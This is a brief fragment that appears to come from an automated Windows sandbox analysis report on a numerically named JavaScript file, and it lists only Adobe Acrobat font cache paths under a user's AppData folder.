C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5308

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
30362110952254914638.js